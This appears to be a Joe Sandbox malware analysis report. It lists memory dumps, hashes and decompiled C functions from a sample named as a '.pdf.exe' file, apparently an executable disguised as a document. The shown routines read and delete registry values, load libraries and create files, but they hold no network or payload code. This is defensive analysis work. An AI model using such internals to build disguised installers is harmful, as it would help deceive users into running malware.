                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Enum$CloseValue
                                                                                                                • String ID:
                                                                                                                • API String ID: 397863658-0
                                                                                                                • Opcode ID: bfc40e65b1596474ffd9536aeb3da6a9e3b8a42b31168e2ab7aaf569feed8400
                                                                                                                • Instruction ID: 08080f496e1fbaad801da7c4a2f11cdf7a22a5a493a276a89d416976773fa01e
                                                                                                                • Opcode Fuzzy Hash: bfc40e65b1596474ffd9536aeb3da6a9e3b8a42b31168e2ab7aaf569feed8400
                                                                                                                • Instruction Fuzzy Hash: 89017CB1A04105ABEB159F94DE58AAEB66CEF40348F10403AF501B61C0EBB85E44966D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: /5`
                                                                                                                • API String ID: 0-4157449029
                                                                                                                • Opcode ID: a5fd26189ea122054bff201dc81199185449cb1d01ad514c2ad01e9ac6e01dea
                                                                                                                • Instruction ID: 270f2e59d70e43ba35388f2a0865a3b2067a5ae31a9892e0ac1d8f2a0171017b
                                                                                                                • Opcode Fuzzy Hash: a5fd26189ea122054bff201dc81199185449cb1d01ad514c2ad01e9ac6e01dea
                                                                                                                • Instruction Fuzzy Hash: F431457154A3899FC766DF34C8685DABF70FF0A224B2819DDD6848F952CB220446CB91
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 84%
                                                                                                                			E0040252A(int* __ebx, char* __edi) {
                                                                                                                				void* _t17;
                                                                                                                				short* _t18;
                                                                                                                				void* _t35;
                                                                                                                				void* _t37;
                                                                                                                				void* _t40;
                                                                                                                
                                                                                                                				_t33 = __edi;
                                                                                                                				_t27 = __ebx;
                                                                                                                				_t17 = E00402DE6(_t40, 0x20019); // executed
                                                                                                                				_t35 = _t17;
                                                                                                                				_t18 = E00402DA6(0x33);
                                                                                                                				 *__edi = __ebx;
                                                                                                                				if(_t35 == __ebx) {
                                                                                                                					 *(_t37 - 4) = 1;
                                                                                                                				} else {
                                                                                                                					 *(_t37 - 0x10) = 0x800;
                                                                                                                					if(RegQueryValueExW(_t35, _t18, __ebx, _t37 + 8, __edi, _t37 - 0x10) != 0) {
                                                                                                                						L7:
                                                                                                                						 *_t33 = _t27;
                                                                                                                						 *(_t37 - 4) = 1;
                                                                                                                					} else {
                                                                                                                						if( *(_t37 + 8) == 4) {
                                                                                                                							__eflags =  *(_t37 - 0x20) - __ebx;
                                                                                                                							 *(_t37 - 4) = 0 |  *(_t37 - 0x20) == __ebx;
                                                                                                                							E00406484(__edi,  *__edi);
                                                                                                                						} else {
                                                                                                                							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
                                                                                                                								 *(_t37 - 4) =  *(_t37 - 0x20);
                                                                                                                								_t33[0x7fe] = _t27;
                                                                                                                							} else {
                                                                                                                								goto L7;
                                                                                                                							}
                                                                                                                						}
                                                                                                                					}
                                                                                                                					_push(_t35); // executed
                                                                                                                					RegCloseKey(); // executed
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *(_t37 - 4);
                                                                                                                				return 0;
                                                                                                                			}








                                                                                                                0x0040252a
                                                                                                                0x0040252a
                                                                                                                0x0040252f
                                                                                                                0x00402536
                                                                                                                0x00402538
                                                                                                                0x0040253f
                                                                                                                0x00402542
                                                                                                                0x0040292e
                                                                                                                0x00402548
                                                                                                                0x0040254b
                                                                                                                0x00402566
                                                                                                                0x00402596
                                                                                                                0x00402596
                                                                                                                0x00402599
                                                                                                                0x00402568
                                                                                                                0x0040256c
                                                                                                                0x00402585
                                                                                                                0x0040258c
                                                                                                                0x0040258f
                                                                                                                0x0040256e
                                                                                                                0x00402571
                                                                                                                0x0040257c
                                                                                                                0x004025f5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00402571
                                                                                                                0x0040256c
                                                                                                                0x004025fc
                                                                                                                0x004025fd
                                                                                                                0x004025fd
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
                                                                                                                • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsu6C45.tmp,00000000,00000011,00000002), ref: 004025FD
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CloseQueryValue
                                                                                                                • String ID:
                                                                                                                • API String ID: 3356406503-0
                                                                                                                • Opcode ID: 4ef9a0eb238203c0ba0e4dfccfbc3c76ac49a7f80352d329bd311a3d2e80dc74
                                                                                                                • Instruction ID: 3e5dab0bbcc9b7b4348569693e39c51bc0b27c59e8ea0ed6abb05ebc10b9b344
                                                                                                                • Opcode Fuzzy Hash: 4ef9a0eb238203c0ba0e4dfccfbc3c76ac49a7f80352d329bd311a3d2e80dc74
                                                                                                                • Instruction Fuzzy Hash: 5F116D71900219EADF14DFA4DA589AE77B4FF04345B20443BE401B62C0E7B88A45EB5D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 69%
                                                                                                                			E00401389(signed int _a4) {
                                                                                                                				intOrPtr* _t6;
                                                                                                                				void* _t8;
                                                                                                                				void* _t10;
                                                                                                                				signed int _t11;
                                                                                                                				void* _t12;
                                                                                                                				signed int _t16;
                                                                                                                				signed int _t17;
                                                                                                                				void* _t18;
                                                                                                                
                                                                                                                				_t17 = _a4;
                                                                                                                				while(_t17 >= 0) {
                                                                                                                					_t6 = _t17 * 0x1c +  *0x434f30;
                                                                                                                					if( *_t6 == 1) {
                                                                                                                						break;
                                                                                                                					}
                                                                                                                					_push(_t6); // executed
                                                                                                                					_t8 = E00401434(); // executed
                                                                                                                					if(_t8 == 0x7fffffff) {
                                                                                                                						return 0x7fffffff;
                                                                                                                					}
                                                                                                                					_t10 = E0040136D(_t8);
                                                                                                                					if(_t10 != 0) {
                                                                                                                						_t11 = _t10 - 1;
                                                                                                                						_t16 = _t17;
                                                                                                                						_t17 = _t11;
                                                                                                                						_t12 = _t11 - _t16;
                                                                                                                					} else {
                                                                                                                						_t12 = _t10 + 1;
                                                                                                                						_t17 = _t17 + 1;
                                                                                                                					}
                                                                                                                					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
                                                                                                                						 *0x433eec =  *0x433eec + _t12;
                                                                                                                						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x433eec, 0x7530,  *0x433ed4), 0);
                                                                                                                					}
                                                                                                                				}
                                                                                                                				return 0;
                                                                                                                			}











                                                                                                                0x0040138a
                                                                                                                0x004013fa
                                                                                                                0x0040139b
                                                                                                                0x004013a0
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004013a2
                                                                                                                0x004013a3
                                                                                                                0x004013ad
                                                                                                                0x00000000
                                                                                                                0x00401404
                                                                                                                0x004013b0
                                                                                                                0x004013b7
                                                                                                                0x004013bd
                                                                                                                0x004013be
                                                                                                                0x004013c0
                                                                                                                0x004013c2
                                                                                                                0x004013b9
                                                                                                                0x004013b9
                                                                                                                0x004013ba
                                                                                                                0x004013ba
                                                                                                                0x004013c9
                                                                                                                0x004013cb
                                                                                                                0x004013f4
                                                                                                                0x004013f4
                                                                                                                0x004013c9
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                                                                                • SendMessageW.USER32(?,00000402,00000000), ref: 004013F4
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: MessageSend
                                                                                                                • String ID:
                                                                                                                • API String ID: 3850602802-0
                                                                                                                • Opcode ID: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
                                                                                                                • Instruction ID: f98c5e72cab4da6dd47fcf147c12dc0649e5852bd482257a86ca63d172a8b8d6
                                                                                                                • Opcode Fuzzy Hash: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
                                                                                                                • Instruction Fuzzy Hash: 0B01F4316202209FE7094B389D05B6A3698E710319F14823FF851F65F1EA78DC029B4C
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E00402434(void* __ebx) {
                                                                                                                				long _t7;
                                                                                                                				void* _t10;
                                                                                                                				void* _t14;
                                                                                                                				long _t18;
                                                                                                                				intOrPtr _t20;
                                                                                                                				void* _t22;
                                                                                                                				void* _t23;
                                                                                                                
                                                                                                                				_t14 = __ebx;
                                                                                                                				_t26 =  *(_t23 - 0x20) - __ebx;
                                                                                                                				_t20 =  *((intOrPtr*)(_t23 - 0x2c));
                                                                                                                				if( *(_t23 - 0x20) != __ebx) {
                                                                                                                					_t7 = E00402E64(_t20, E00402DA6(0x22),  *(_t23 - 0x20) >> 1); // executed
                                                                                                                					_t18 = _t7;
                                                                                                                					goto L4;
                                                                                                                				} else {
                                                                                                                					_t10 = E00402DE6(_t26, 2); // executed
                                                                                                                					_t22 = _t10;
                                                                                                                					if(_t22 == __ebx) {
                                                                                                                						L6:
                                                                                                                						 *((intOrPtr*)(_t23 - 4)) = 1;
                                                                                                                					} else {
                                                                                                                						_t18 = RegDeleteValueW(_t22, E00402DA6(0x33));
                                                                                                                						RegCloseKey(_t22);
                                                                                                                						L4:
                                                                                                                						if(_t18 != _t14) {
                                                                                                                							goto L6;
                                                                                                                						}
                                                                                                                					}
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t23 - 4));
                                                                                                                				return 0;
                                                                                                                			}










                                                                                                                0x00402434
                                                                                                                0x00402434
                                                                                                                0x00402437
                                                                                                                0x0040243a
                                                                                                                0x00402476
                                                                                                                0x0040247b
                                                                                                                0x00000000
                                                                                                                0x0040243c
                                                                                                                0x0040243e
                                                                                                                0x00402443
                                                                                                                0x00402447
                                                                                                                0x0040292e
                                                                                                                0x0040292e
                                                                                                                0x0040244d
                                                                                                                0x0040245d
                                                                                                                0x0040245f
                                                                                                                0x0040247d
                                                                                                                0x0040247f
                                                                                                                0x00000000
                                                                                                                0x00402485
                                                                                                                0x0040247f
                                                                                                                0x00402447
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 00402456
                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0040245F
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CloseDeleteValue
                                                                                                                • String ID:
                                                                                                                • API String ID: 2831762973-0
                                                                                                                • Opcode ID: bc8977c58f21f46734a32576ae033a8cd0289ccb3ce2266f03f6c73bbaea908b
                                                                                                                • Instruction ID: 30df5d2aec36195d54007c6df5f336708121daf1b93815cec1e8c6dbc8099d71
                                                                                                                • Opcode Fuzzy Hash: bc8977c58f21f46734a32576ae033a8cd0289ccb3ce2266f03f6c73bbaea908b
                                                                                                                • Instruction Fuzzy Hash: 22F0C232A00120EBDB11ABB89B4DAED72A8AF84314F15443BE141B71C0DAFC5D01866D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                APIs
                                                                                                                • ShowWindow.USER32(00000000,00000000), ref: 00401EFC
                                                                                                                • EnableWindow.USER32(00000000,00000000), ref: 00401F07
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Window$EnableShow
                                                                                                                • String ID:
                                                                                                                • API String ID: 1136574915-0
                                                                                                                • Opcode ID: 86975ae7e55868c6fa7f0a653ee38b5bdebf79f927548a24dbd204ed482989db
                                                                                                                • Instruction ID: ff95e9915c8c9942b49c08d49a5710ecdabad47c7be9b03b7ba0a01474a23479
                                                                                                                • Opcode Fuzzy Hash: 86975ae7e55868c6fa7f0a653ee38b5bdebf79f927548a24dbd204ed482989db
                                                                                                                • Instruction Fuzzy Hash: E7E04872908211CFE705EBA4EE495AD77F4EF40325710497FE501F11D1DBB55D00965D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E0040690A(signed int _a4) {
                                                                                                                				struct HINSTANCE__* _t5;
                                                                                                                				signed int _t10;
                                                                                                                
                                                                                                                				_t10 = _a4 << 3;
                                                                                                                				_t8 =  *(_t10 + 0x40a3e0);
                                                                                                                				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
                                                                                                                				if(_t5 != 0) {
                                                                                                                					L2:
                                                                                                                					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
                                                                                                                				}
                                                                                                                				_t5 = E0040689A(_t8); // executed
                                                                                                                				if(_t5 == 0) {
                                                                                                                					return 0;
                                                                                                                				}
                                                                                                                				goto L2;
                                                                                                                			}





                                                                                                                0x00406912
                                                                                                                0x00406915
                                                                                                                0x0040691c
                                                                                                                0x00406924
                                                                                                                0x00406930
                                                                                                                0x00000000
                                                                                                                0x00406937
                                                                                                                0x00406927
                                                                                                                0x0040692e
                                                                                                                0x00000000
                                                                                                                0x0040693f
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
                                                                                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00406937
                                                                                                                  • Part of subcall function 0040689A: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
                                                                                                                  • Part of subcall function 0040689A: wsprintfW.USER32 ref: 004068EC
                                                                                                                  • Part of subcall function 0040689A: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                                                                                • String ID:
                                                                                                                • API String ID: 2547128583-0
                                                                                                                • Opcode ID: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
                                                                                                                • Instruction ID: 98bdf7d71c6046f852b78b75196177710d0a141037308efd39b2ac7baa162fea
                                                                                                                • Opcode Fuzzy Hash: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
                                                                                                                • Instruction Fuzzy Hash: 9FE0867390422066D21196745D44D7773A89B99750306443EF946F2090DB38DC31A76E
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 68%
                                                                                                                			E0040602D(WCHAR* _a4, long _a8, long _a12) {
                                                                                                                				signed int _t5;
                                                                                                                				void* _t6;
                                                                                                                
                                                                                                                				_t5 = GetFileAttributesW(_a4); // executed
                                                                                                                				asm("sbb ecx, ecx");
                                                                                                                				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
                                                                                                                				return _t6;
                                                                                                                			}





                                                                                                                0x00406031
                                                                                                                0x0040603e
                                                                                                                0x00406053
                                                                                                                0x00406059

                                                                                                                APIs
                                                                                                                • GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
                                                                                                                • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: File$AttributesCreate
                                                                                                                • String ID:
                                                                                                                • API String ID: 415043291-0
                                                                                                                • Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
                                                                                                                • Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
                                                                                                                • Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
                                                                                                                • Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

